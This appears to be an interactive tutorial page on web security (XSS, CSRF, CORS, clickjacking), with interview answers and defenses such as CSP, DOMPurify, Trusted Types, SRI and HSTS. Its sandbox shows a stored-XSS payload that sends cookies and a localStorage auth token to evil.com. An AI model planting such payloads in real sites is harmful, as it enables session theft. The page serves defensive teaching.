XSS / CSRF / CORS / Clickjacking
โฑ๏ธ ~4-minute bite ยท solve the sandbox to master
5-Year-Old Metaphor
โ The physical, real-world picture. No jargon.๐ Four different locks โ each protects against a different kind of attacker.
๐ XSS โ A forged letter in the king's mail
Attacker's words are treated as commands by the court. Defense: inspect every letter before reading it aloud (output encoding).
๐ญ CSRF โ Tricking a guard into opening the gate while off duty
The guard (browser) trusts the uniform (cookie). Attacker makes the guard act without the guard realizing. Defense: require a secret password only the real guard knows (CSRF token / SameSite).
๐ CORS โ Border control checking your passport
Scripts from foreign origins can't read responses unless the server stamps a visa (Access-Control-Allow-Origin). The browser enforces this โ no passport, no data.
๐ฑ๏ธ Clickjacking โ Glass placed over a button
User sees fake UI, clicks a real (invisible) control. Defense: tell browsers your page can never be framed (X-Frame-Options: DENY).
The OWASP Top 10 mental model
Security vulnerabilities share a root cause: trusting input or context without validation. XSS = trusting user input as HTML. CSRF = trusting the origin of a request. CORS = trusting that the browser won't enforce boundaries. SQL injection = trusting user input as SQL syntax. The fix pattern is always the same: validate, encode, separate, and require proof of intent.
Interactive Sandbox
โ Move something, see it react instantly.Vulnerability
How the attack works
Attacker posts a comment containing <script>document.location='https://evil.com/steal?c='+document.cookie</script>. The DB stores it verbatim. Every user who loads the page executes the attacker's script โ their session cookies are sent to evil.com.
| 1 | // Attacker's comment stored in DB: |
| 2 | <script> |
| 3 | fetch('https://evil.com/steal', { |
| 4 | method: 'POST', |
| 5 | body: JSON.stringify({ |
| 6 | cookie: document.cookie, |
| 7 | token: localStorage.getItem('authToken'), |
| 8 | }) |
| 9 | }); |
| 10 | </script> |
| 11 | ย |
| 12 | // Vulnerable render: |
| 13 | element.innerHTML = userComment; // โ executes script! |
Challenge
View the attack and defense for all 5 vulnerabilities. Understand the mechanism before the mitigation.
Why Should I Care?
โ The exact interview question + the bug it kills.Interview questions
Q: Stored vs Reflected vs DOM XSS โ what's the difference?
Stored XSS: Malicious script saved in DB. Served to every user who loads the page. Widest impact.
Reflected XSS: Script in URL parameter. Server reflects it in the response without storing. Requires phishing the victim to click a crafted URL.
DOM XSS: Client-side JS reads URL (location.hash, search params) and writes to the DOM using innerHTML. Never touches the server. Hardest to detect with server-side scanning.
Q: How does SameSite cookie prevent CSRF?
| 1 | Set-Cookie: session=abc; SameSite=Strict |
| 2 | // SameSite=Strict: cookie NOT sent with any cross-site request |
| 3 | // POST from evil.com โ bank.com: session cookie omitted |
| 4 | // Bank sees unauthenticated request โ rejects it |
| 5 | ย |
| 6 | Set-Cookie: session=abc; SameSite=Lax |
| 7 | // SameSite=Lax: cookie sent with top-level navigation GET |
| 8 | // (clicking a link to bank.com), NOT with cross-site POSTs |
| 9 | // This is Chrome's default since 2021 |
| 10 | ย |
| 11 | Set-Cookie: session=abc; SameSite=None; Secure |
| 12 | // Required for cross-site embedding (iframes, widgets) |
| 13 | // Must use HTTPS |
Q: Why doesn't CORS protect the server?
CORS is enforced by the browser. The request still reaches the server โ the browser just blocks JavaScript from reading the response. A server-side attacker (curl, Python script, another server) completely bypasses CORS. CORS protects the browser user's data from malicious scripts; it does not protect your API from direct access. Rate limiting, authentication, and input validation protect the API.
Bug: using innerHTML with user data
| 1 | // โ BUG: innerHTML executes scripts |
| 2 | element.innerHTML = userComment; |
| 3 | ย |
| 4 | // โ FIX 1: textContent (no HTML parsing at all) |
| 5 | element.textContent = userComment; |
| 6 | ย |
| 7 | // โ FIX 2: DOMPurify (when you need HTML formatting) |
| 8 | import DOMPurify from 'dompurify'; |
| 9 | element.innerHTML = DOMPurify.sanitize(userComment, { |
| 10 | ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'], |
| 11 | ALLOWED_ATTR: ['href'], |
| 12 | }); |
| 13 | ย |
| 14 | // โ FIX 3: React โ JSX is safe, dangerouslySetInnerHTML is not |
| 15 | // Safe: |
| 16 | <div>{userComment}</div> |
| 17 | // Unsafe โ treat like eval(): |
| 18 | <div dangerouslySetInnerHTML={{ __html: userComment }} /> |
The Deep Dive
โ Spec refs, engine internals, the minutiae.Content Security Policy directives
| 1 | Content-Security-Policy: |
| 2 | default-src 'self'; // fallback for all directives |
| 3 | script-src 'self' https://cdn.com; // scripts: self + CDN only |
| 4 | style-src 'self' 'unsafe-inline'; // styles allow inline |
| 5 | img-src *; // images from anywhere |
| 6 | connect-src 'self' https://api.com; // fetch/XHR destinations |
| 7 | font-src https://fonts.google.com; // web fonts |
| 8 | frame-ancestors 'none'; // block framing (vs X-Frame-Options) |
| 9 | report-uri /csp-report; // CSP violations โ your endpoint |
| 10 | upgrade-insecure-requests; // force HTTPS |
| 11 | ย |
| 12 | // Nonce-based (best for inline scripts) |
| 13 | Content-Security-Policy: script-src 'nonce-{RANDOM_BASE64}' |
| 14 | <script nonce="{RANDOM_BASE64}">/* safe inline script */</script> |
Trusted Types API โ DOM XSS prevention
Trusted Types force you to explicitly mark strings as safe before assigning to DOM sinks. The browser rejects plain strings in innerHTML, eval, etc. โ only TrustedHTML objects are accepted.
| 1 | // CSP opt-in |
| 2 | Content-Security-Policy: require-trusted-types-for 'script' |
| 3 | ย |
| 4 | // Create a policy that sanitizes |
| 5 | const policy = trustedTypes.createPolicy('sanitize', { |
| 6 | createHTML: (input) => DOMPurify.sanitize(input), |
| 7 | }); |
| 8 | ย |
| 9 | // โ Safe โ browser allows this |
| 10 | element.innerHTML = policy.createHTML(userInput); |
| 11 | ย |
| 12 | // โ Blocked by browser โ plain string rejected |
| 13 | element.innerHTML = userInput; // TypeError: string is not TrustedHTML |
Subresource Integrity (SRI)
SRI ensures CDN scripts haven't been tampered with. The browser computes the hash of the fetched resource and compares it to the integrity attribute. Mismatch โ resource blocked.
| 1 | <script |
| 2 | src="https://cdn.example.com/library.min.js" |
| 3 | integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC" |
| 4 | crossorigin="anonymous" |
| 5 | ></script> |
| 6 | ย |
| 7 | // Generate the hash: |
| 8 | openssl dgst -sha384 -binary library.min.js | openssl base64 -A |
HSTS โ HTTP Strict Transport Security
| 1 | Strict-Transport-Security: max-age=31536000; includeSubDomains; preload |
| 2 | ย |
| 3 | // max-age=31536000 โ 1 year. Browser only connects via HTTPS. |
| 4 | // includeSubDomains โ applies to api.example.com too |
| 5 | // preload โ browser ships with a hardcoded HSTS list (no first-visit downgrade) |
| 6 | ย |
| 7 | // Submit to: https://hstspreload.org |
Security header checklist
Content-Security-Policy
Allowlist scripts, styles, frames. Strongest XSS defense.
X-Frame-Options: DENY
Prevent clickjacking via iframe embedding.
Strict-Transport-Security
Force HTTPS for 1 year. Include in preload list.
X-Content-Type-Options: nosniff
Prevent MIME sniffing attacks.
Referrer-Policy: no-referrer
Don't leak URLs in Referer header.
Permissions-Policy
Disable camera, mic, geolocation per page.
Interview Questions
โ Real questions from real interviews โ with answers.Use nonces for inline scripts; allowlist trusted CDN origins; avoid unsafe-inline for scripts.
Stored: DBโpage (widest impact). Reflected: URLโpage. DOM: JS reads URL and writes to DOM (no server involved).
Strict blocks cookies on all cross-site requests. None is required for embedded widgets and OAuth flows.
X-Frame-Options: DENY or CSP frame-ancestors 'none' โ CSP is the modern standard.
Sanitize on write with a strict allowlist; apply CSP as defense-in-depth; use Trusted Types.
HttpOnly cookies are immune to XSS token theft; localStorage/sessionStorage are not.
Memory Game
โ Quick quiz โ lock the concept in long-term memory.What is SQL injection and what is the definitive prevention?